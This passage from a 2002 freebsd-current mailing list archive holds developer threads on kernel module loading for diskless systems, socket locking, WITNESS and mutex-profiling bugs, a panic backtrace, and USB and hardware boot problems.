g3PHL5h29553; Thu, 25 Apr 2002 19:21:05 +0200 (MEST) Date: Thu, 25 Apr 2002 19:21:05 +0200 (CEST) From: Harti Brandt To: brian@freebsd.org, Subject: Revision 1.88 of kern_linker.c breaks module loading for diskless Message-ID: <20020425184846.Q795-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, the check for rootdev != NODEV introduced in rev 1.88 breaks loading of kernel modules from an NFS mounted root in diskless configurations. Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. This worked before without problems. harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:50:14 2002 Delivered-To: freebsd-current@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 6AC0537B419 for ; Thu, 25 Apr 2002 10:50:09 -0700 (PDT) Received: (from hsu@localhost) by idiom.com (8.9.3/8.9.3) id KAA55721; Thu, 25 Apr 2002 10:50:01 -0700 (PDT) Date: Thu, 25 Apr 2002 10:50:01 -0700 (PDT) From: Jeffrey Hsu Message-Id: <200204251750.KAA55721@idiom.com> To: tanimura@r.dl.itc.u-tokyo.ac.jp Subject: Re: Locking down a socket, milestone 1 Newsgroups: mgate.freebsd.current In-Reply-To: <200204241110.g3OB8u8t006194@bunko.unknown> Organization: Unknown Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200204241110.g3OB8u8t006194@bunko.unknown> you write: >I am now working on locking down a socket. (I have heard that Jeffrey >Hsu is also doing that, but I have never seen his patch. Has anyone >seen that?) I have. :-) I do coarse-grain locking at the inpcb and sockbuf level as is done in BSD/OS. This is a lot simpler than locking down individual fields in struct socket. Are you sure we need such fine-grain locking? Jeffrey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:55:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 8FAF637B419 for ; Thu, 25 Apr 2002 10:55:40 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id 5FA32AE1C1; Thu, 25 Apr 2002 10:55:40 -0700 (PDT) Date: Thu, 25 Apr 2002 10:55:40 -0700 From: Alfred Perlstein To: Jeffrey Hsu Cc: tanimura@r.dl.itc.u-tokyo.ac.jp, current@freebsd.org Subject: Re: Locking down a socket, milestone 1 Message-ID: <20020425175540.GN38320@elvis.mu.org> References: <200204241110.g3OB8u8t006194@bunko.unknown> <200204251750.KAA55721@idiom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200204251750.KAA55721@idiom.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Jeffrey Hsu [020425 10:50] wrote: > In article <200204241110.g3OB8u8t006194@bunko.unknown> you write: > >I am now working on locking down a socket. (I have heard that Jeffrey > >Hsu is also doing that, but I have never seen his patch. Has anyone > >seen that?) > > I have. :-) I do coarse-grain locking at the inpcb and sockbuf level as > is done in BSD/OS. This is a lot simpler than locking down individual > fields in struct socket. Are you sure we need such fine-grain locking? Huh? BSD/OS's source drop has two locks in each socket and a couple of global locks for things like the inpcb and such, it's pretty fine grained except the unix domain sockets where a global lock is held to protect against lock order reversals when having to lock both sockets. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 10:59:49 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 751F537B416; Thu, 25 Apr 2002 10:59:42 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 8E1995309; Thu, 25 Apr 2002 19:59:38 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: John Baldwin Cc: Hiten Pandya , current@FreeBSD.org Subject: Re: Spin lock (?) problems with MUTEX_PROFILING References: From: Dag-Erling Smorgrav Date: 25 Apr 2002 19:59:37 +0200 In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Baldwin writes: > This means WITNESS is broken with MUTEX_PROFIING (I guess they were > never tested together without WITNESS_SKIPSPIN). WITNESS makes my box about as useful as a heap of bricks, so no, MUTEX_PROFILING was never tested with WITNESS. > The fix is for the > MUTEX_PROFILING folks to add the spin lock into the spin lock order > list in the proper location. Junior kernel hacker task. Note that it's always a leaf lock - no lock is ever acquired while the profiling lock is held. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 11: 1:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id E9B0637B405; Thu, 25 Apr 2002 11:01:34 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 3549766B8A; Thu, 25 Apr 2002 11:01:33 -0700 (PDT) Date: Thu, 25 Apr 2002 11:01:33 -0700 From: Kris Kennaway To: John Baldwin Cc: Kris Kennaway , current@FreeBSD.org Subject: Re: 4 panics under 5.0 on ports cluster Message-ID: <20020425110133.A48383@xor.obsecurity.org> References: <20020425013922.A27152@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="fUYQa+Pmc3FrFX/N" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jhb@FreeBSD.org on Thu, Apr 25, 2002 at 01:10:50PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --fUYQa+Pmc3FrFX/N Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Apr 25, 2002 at 01:10:50PM -0400, John Baldwin wrote: >=20 > On 25-Apr-2002 Kris Kennaway wrote: > > panic: sleeping thread owns a mutex > > Uptime: 8h52m59s > > (kgdb) bt > >#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 > >#1 0xc0207cb0 in boot (howto=3D260) at > >#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 > >#2 0xc020814f in panic (fmt=3D0xc0367580 "sleeping thread owns a mutex") > > at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 > >#3 0xc0200a35 in propagate_priority (td=3D0xcd23d400) > > at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110 >=20 > Can you go to this frame, then dump the contents of 'm' to find the misbe= having > mutex? $2 =3D {mtx_object =3D {lo_class =3D 0xc03b1fc0, lo_name =3D 0xc76785a0 "PC= PU 16384", lo_flags =3D 4390912, lo_list =3D {stqe_next =3D 0x0}, lo_witness =3D 0x0}, mtx_lock =3D 3453= 968642, mtx_recurse =3D 0, mtx_blocked =3D {tqh_first =3D 0xcd23d400, tqh_last =3D 0xcd23d428}, mtx_= contested =3D {le_next =3D 0x0, le_prev =3D 0xcddf6160}} > WITNESS should have warned about this but I guess getting people to run > WITNESS is too much to ask. WITNESS disables itself after about 30 seconds under load on the ports cluster..something about some resource becoming exhausted. I tried increasing the number of whatever resource it was by a factor of 8, but it was still occurring after a longer time interval, so I gave up and just turned it off. Kris --fUYQa+Pmc3FrFX/N Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yER9Wry0BWjoQKURAqC7AKCgHtF6Q3fQK1AUlbBa9trUPdjPcgCcDT5y bBzPpq6HAyCmI918D6MWGA8= =dYxW -----END PGP SIGNATURE----- --fUYQa+Pmc3FrFX/N-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 11: 4:41 2002 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 558) id C369237B400; Thu, 25 Apr 2002 11:04:32 -0700 (PDT) To: bright@mu.org Subject: Re: Locking down a socket, milestone 1 Cc: current@FreeBSD.ORG In-Reply-To: <20020425175540.GN38320@elvis.mu.org> Message-Id: <20020425180432.C369237B400@hub.freebsd.org> Date: Thu, 25 Apr 2002 11:04:32 -0700 (PDT) From: hsu@FreeBSD.ORG (Jeffrey Hsu) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you compare the two approaches, the BSD/OS approach is simpler because it is coarse. You're confusing finer grain locking with better. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 11: 7:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212]) by hub.freebsd.org (Postfix) with ESMTP id 74ABF37B405 for ; Thu, 25 Apr 2002 11:07:44 -0700 (PDT) Received: (qmail 1596 invoked from network); 25 Apr 2002 18:07:43 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 18:07:43 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PI7mv11291; Thu, 25 Apr 2002 14:07:48 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020425110133.A48383@xor.obsecurity.org> Date: Thu, 25 Apr 2002 14:06:51 -0400 (EDT) From: John Baldwin To: Kris Kennaway Subject: Re: 4 panics under 5.0 on ports cluster Cc: current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 25-Apr-2002 Kris Kennaway wrote: > On Thu, Apr 25, 2002 at 01:10:50PM -0400, John Baldwin wrote: >> >> On 25-Apr-2002 Kris Kennaway wrote: >> > panic: sleeping thread owns a mutex >> > Uptime: 8h52m59s >> > (kgdb) bt >> >#0 dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506 >> >#1 0xc0207cb0 in boot (howto=260) at >> >#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338 >> >#2 0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex") >> > at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648 >> >#3 0xc0200a35 in propagate_priority (td=0xcd23d400) >> > at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110 >> >> Can you go to this frame, then dump the contents of 'm' to find the >> misbehaving >> mutex? > > $2 = {mtx_object = {lo_class = 0xc03b1fc0, lo_name = 0xc76785a0 "PCPU 16384", > lo_flags = 4390912, > lo_list = {stqe_next = 0x0}, lo_witness = 0x0}, mtx_lock = 3453968642, > mtx_recurse = 0, > mtx_blocked = {tqh_first = 0xcd23d400, tqh_last = 0xcd23d428}, > mtx_contested = {le_next = 0x0, > le_prev = 0xcddf6160}} Ok, so uma is misbehaving it seems and sleeping while holding a lock. >> WITNESS should have warned about this but I guess getting people to run >> WITNESS is too much to ask. > > WITNESS disables itself after about 30 seconds under load on the ports > cluster..something about some resource becoming exhausted. I tried > increasing the number of whatever resource it was by a factor of 8, > but it was still occurring after a longer time interval, so I gave up > and just turned it off. You have stale kernels. This was fixed a couple of weeks ago with all the mtx_init() changes. If the kernels were up to date, there would be a lo_type in struct lock_object above. Try updating to newer kernels, turning WITNESS and WITNESS_DDB on. Then when uma misbehaves it will drop into ddb. > Kris -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 11:10:54 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 7EBD737B41A; Thu, 25 Apr 2002 11:10:44 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 84F4666D66; Thu, 25 Apr 2002 11:10:43 -0700 (PDT) Date: Thu, 25 Apr 2002 11:10:43 -0700 From: Kris Kennaway To: John Baldwin Cc: Kris Kennaway , current@FreeBSD.org Subject: Re: 4 panics under 5.0 on ports cluster Message-ID: <20020425111043.A48950@xor.obsecurity.org> References: <20020425110133.A48383@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="LQksG6bCIzRHxTLp" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jhb@FreeBSD.org on Thu, Apr 25, 2002 at 02:06:51PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --LQksG6bCIzRHxTLp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Apr 25, 2002 at 02:06:51PM -0400, John Baldwin wrote: > You have stale kernels. Yes, as noted the cluster has been running for a few weeks with March 31 kernels. I'll try again with WITNESS enabled next time I update them. Kris --LQksG6bCIzRHxTLp Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yEaiWry0BWjoQKURAmirAKDqGn2Im38+EvGSbhSN63Mt5G01aQCbB7uI uICguVR7nfwN6J5KGjhHCE0= =RQpt -----END PGP SIGNATURE----- --LQksG6bCIzRHxTLp-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 11:20:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail13.speakeasy.net [216.254.0.213]) by hub.freebsd.org (Postfix) with ESMTP id 6637E37B405 for ; Thu, 25 Apr 2002 11:20:32 -0700 (PDT) Received: (qmail 5162 invoked from network); 25 Apr 2002 18:20:30 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail13.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 18:20:30 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PIKZv11346; Thu, 25 Apr 2002 14:20:35 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 25 Apr 2002 14:19:38 -0400 (EDT) From: John Baldwin To: Dag-Erling Smorgrav Subject: Re: Spin lock (?) problems with MUTEX_PROFILING Cc: current@FreeBSD.org, Hiten Pandya Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 25-Apr-2002 Dag-Erling Smorgrav wrote: > John Baldwin writes: >> This means WITNESS is broken with MUTEX_PROFIING (I guess they were >> never tested together without WITNESS_SKIPSPIN). > > WITNESS makes my box about as useful as a heap of bricks, so no, > MUTEX_PROFILING was never tested with WITNESS. Since WITNESS makes sure you use locks properly, you should use it when you are making changes to the locking subsystem. Esp. if you are messing with spin locks. It may be slow but it's still usable for doing a bootup. Getting into single user mode with profiling on would have highlighted this problem. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 13:13:19 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by hub.freebsd.org (Postfix) with ESMTP id 62C5037B41A for ; Thu, 25 Apr 2002 13:13:16 -0700 (PDT) Received: from fwd03.sul.t-online.de by mailout09.sul.t-online.com with smtp id 170obr-0006vf-06; Thu, 25 Apr 2002 21:08:51 +0200 Received: from twoflower.liebende.de (320072111332-0001@[217.80.127.27]) by fwd03.sul.t-online.com with esmtp id 170obk-1WTfpAC; Thu, 25 Apr 2002 21:08:44 +0200 Subject: Re: Minor things: swi_net: unregistered isr number From: Jan.Stocker@t-online.de (Jan Stocker) Reply-To: Jan.Stocker@t-online.de To: current@freebsd.org Cc: BOUWSMA Beery Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1019761652.452.3.camel@twoflower> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.0.3 Date: 25 Apr 2002 22:07:35 +0300 X-Sender: 320072111332-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My -current system gives me a swi_net: unregistered isr number: 18. too. I cant find any reply to this old subject. May anyone know where it comes from? Jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 13:20: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216]) by hub.freebsd.org (Postfix) with ESMTP id 854BB37B404 for ; Thu, 25 Apr 2002 13:19:57 -0700 (PDT) Received: (qmail 22200 invoked from network); 25 Apr 2002 20:19:57 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail16.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 25 Apr 2002 20:19:57 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3PKJtv11719; Thu, 25 Apr 2002 16:19:55 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <1019761652.452.3.camel@twoflower> Date: Thu, 25 Apr 2002 16:19:05 -0400 (EDT) From: John Baldwin To: (Jan Stocker) Subject: Re: Minor things: swi_net: unregistered isr number Cc: BOUWSMA Beery Cc: BOUWSMA Beery , current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 25-Apr-2002 Jan Stocker wrote: > My -current system gives me a > > swi_net: unregistered isr number: 18. > > too. I cant find any reply to this old subject. May anyone know where it > comes from? It seems to trigger whenever there is traffic while the IP is 0.0.0.0, even for non-DHCP stuff. I'm not sure what is causing it. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 15: 0:41 2002 Delivered-To: freebsd-current@freebsd.org Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by hub.freebsd.org (Postfix) with ESMTP id 3B65D37B41B for ; Thu, 25 Apr 2002 15:00:03 -0700 (PDT) Received: from dialup-65.58.92.65.dial1.louisville1.level3.net ([65.58.92.65] helo=europa2) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 170rHR-0002gw-00 for current@freebsd.org; Thu, 25 Apr 2002 17:59:58 -0400 Message-Id: <3.0.6.32.20020425175750.00dc4080@imatowns.com> X-Sender: ggombert@imatowns.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 25 Apr 2002 17:57:50 -0400 To: current@freebsd.org From: Glenn Gombert Subject: Problems installing -Current on Dell Power Edge 4100 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, We are trying to convert a Dell Power Edge 4100 Server at work to a good use (from running NT Server 4.0) to FreeBSD. After installing either -current or 4.5, then rebooting the system does not try and boot at all when hitting 'F1'. No error(s) or messages of any kind=85it just does not seem to boot at all. Has anyone experienced a similar problem when trying to install FreeBSD on this platform?? Any info is appreciated=85. Thanks, Glenn Gombert ggombert@imatowns.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 16:27: 7 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by hub.freebsd.org (Postfix) with ESMTP id 6C06037B404; Thu, 25 Apr 2002 16:27:02 -0700 (PDT) Received: from fwd01.sul.t-online.de by mailout05.sul.t-online.com with smtp id 170fCJ-0003ja-0W; Thu, 25 Apr 2002 11:05:51 +0200 Received: from Magelan.Leidinger.net (520065502893-0001@[80.131.107.154]) by fmrl01.sul.t-online.com with esmtp id 170fCF-09CJQuC; Thu, 25 Apr 2002 11:05:47 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.12.3/8.12.3) with ESMTP id g3P96Aht000580; Thu, 25 Apr 2002 11:06:14 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200204250906.g3P96Aht000580@Magelan.Leidinger.net> Date: Thu, 25 Apr 2002 11:06:10 +0200 (CEST) From: Alexander Leidinger Subject: Re: panic at shutdown, ums related? To: tlambert2@mindspring.com Cc: peter@wemm.org, current@FreeBSD.ORG, joe@FreeBSD.ORG In-Reply-To: <3CC746A5.51836C62@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii X-Sender: 520065502893-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24 Apr, Terry Lambert wrote: >> USB is pretty hosed. :-( >> >> For a while, removing the mouse didn't get detected and you had to kill moused >> manually. Then the removal event happened. A new moused would start but it >> was impossible to kill -9 the old moused. If you remove the mouse again, it >> instantly panics the box. I've not seen what is happening as I've always been >> in X at the time. :-/ I don't have the need to remove the mouse. > USB hates Mieces to pieces. I've taken to using NetGear based KVM > switches, which is not really an option if the problem is with a > laptop and/or docking port (sorry), but might be an OK way to deal > with peripheral sharing on a desktop, until USB gets fixed. There's a fix for ums, joe want's to talk with the NetBSD developers first. I use this fix. The panic I see now is _new_, it's not the one I see if I don't use the fix. Bye, Alexander. -- It is easier to fix Unix than to live with NT. http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint = C518 BC70 E67F 143F BE91 3365 79E2 9C60 B006 3FE7 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 17: 9:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 16E1237B417; Thu, 25 Apr 2002 17:09:19 -0700 (PDT) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 26 Apr 2002 01:09:16 +0100 (BST) To: Harti Brandt Cc: brian@freebsd.org, current@freebsd.org Subject: Re: Revision 1.88 of kern_linker.c breaks module loading for diskless In-Reply-To: Your message of "Thu, 25 Apr 2002 19:21:05 +0200." <20020425184846.Q795-100000@beagle.fokus.gmd.de> Date: Fri, 26 Apr 2002 01:09:16 +0100 From: Ian Dowse Message-ID: <200204260109.aa01691@salmon.maths.tcd.ie> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <20020425184846.Q795-100000@beagle.fokus.gmd.de>, Harti Brandt write s: >the check for rootdev != NODEV introduced in rev 1.88 breaks loading of >kernel modules from an NFS mounted root in diskless configurations. >Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. Ah, that would explain a problem I saw recently on a netbooted box where kldload only worked with full module paths. Could `rootvnode' be checked for NULL instead? Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 18:13: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id F32D537B420; Thu, 25 Apr 2002 18:12:46 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3Q1Che40969; Thu, 25 Apr 2002 18:12:43 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 845D839EA; Thu, 25 Apr 2002 18:12:43 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: John Baldwin Cc: Jan.Stocker@t-online.de (Jan Stocker), BOUWSMA Beery , current@FreeBSD.ORG Subject: Re: Minor things: swi_net: unregistered isr number In-Reply-To: Date: Thu, 25 Apr 2002 18:12:43 -0700 From: Peter Wemm Message-Id: <20020426011243.845D839EA@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Baldwin wrote: > > On 25-Apr-2002 Jan Stocker wrote: > > My -current system gives me a > > > > swi_net: unregistered isr number: 18. > > > > too. I cant find any reply to this old subject. May anyone know where it > > comes from? > > It seems to trigger whenever there is traffic while the IP is 0.0.0.0, > even for non-DHCP stuff. I'm not sure what is causing it. This is well known. If we recieve an ARP frame before we sent one, then we print this. eg: a broadcast ARP packet will trigger it. dhclient etc use bpf etc so ARP isn't initialized at this point. Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 18:15:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (gw.Awfulhak.org [217.204.245.18]) by hub.freebsd.org (Postfix) with ESMTP id 4650837B41C; Thu, 25 Apr 2002 18:15:05 -0700 (PDT) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.12.2/8.12.2) with ESMTP id g3Q1F0sG074640; Fri, 26 Apr 2002 02:15:00 +0100 (BST) (envelope-from brian@freebsd-services.com) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.12.3/8.12.3) with ESMTP id g3Q1CNxH066034; Fri, 26 Apr 2002 02:12:24 +0100 (BST) (envelope-from brian@freebsd-services.com) Message-Id: <200204260112.g3Q1CNxH066034@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Ian Dowse Cc: Harti Brandt , brian@freebsd.org, 